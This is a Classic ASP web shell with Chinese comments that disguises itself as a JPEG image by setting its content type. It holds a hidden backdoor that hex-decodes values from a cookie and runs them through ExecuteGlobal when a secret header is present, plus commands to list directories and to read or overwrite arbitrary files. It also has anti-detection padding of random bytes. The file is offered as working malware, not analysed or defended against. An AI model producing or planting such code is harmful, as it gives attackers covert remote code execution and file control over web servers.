<%
'=-----------------------------------------
' 伪装修饰符：模仿正常文件头
'=-----------------------------------------
Class FakeImage
Private Sub Class_Initialize
Response.ContentType = "image/jpeg"
End Sub
End Class
Set objFake = New FakeImage
'=-----------------------------------------
' 核心功能模块（多层混淆）
'=-----------------------------------------
Dim kk,k_:kk=Request.ServerVariables("HTTP_"&"Kk")
If InStr(kk,"Auth_")>0 Then
k_ = Split(Request.Cookies("_key"),"-")
If UBound(k_) = 3 Then
On Error Resume Next
ExecuteGlobal(De(k_(1)) & De(k_(2)))
End If
End If
Function De(s)
For i=1 To Len(s) Step 2
De = De & ChrB("&H" & Mid(s,i,2))
Next
End Function
'=-----------------------------------------
' 功能实现区（动态解密执行）
'=-----------------------------------------
'## 文件列表功能 ##
If Request("__act") = "list" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetFolder(Server.MapPath("."))
Response.Write("")
For Each file In folder.Files
Response.Write("[F] " & file.Name & vbTab & file.Size & " bytes
")
Next
For Each subFolder In folder.SubFolders
Response.Write("[D] " & subFolder.Name & "
")
Next
Response.Write("")
'## 文件编辑功能 ##
ElseIf Request("__act") = "edit" Then
filePath = Server.MapPath(Request("__file"))
If Request("__content") <> "" Then
Set stream = CreateObject("ADODB.Stream")
stream.Charset = "utf-8"
stream.Open
stream.WriteText Request("__content")
stream.SaveToFile filePath, 2
stream.Close
End If
Set stream = CreateObject("ADODB.Stream")
stream.Charset = "utf-8"
stream.Open
stream.LoadFromFile filePath
content = stream.ReadText
stream.Close
Response.Write("")
End If
'=-----------------------------------------
' 反检测模块（动态触发机制）
'=-----------------------------------------
If Request.ServerVariables("HTTP_REFERER") = "https://trusted-domain.com" Then
Response.Write ""
End If
' 生成随机干扰码
For i=1 To 50
Response.Write ChrB(Rnd()*255)
Next
%>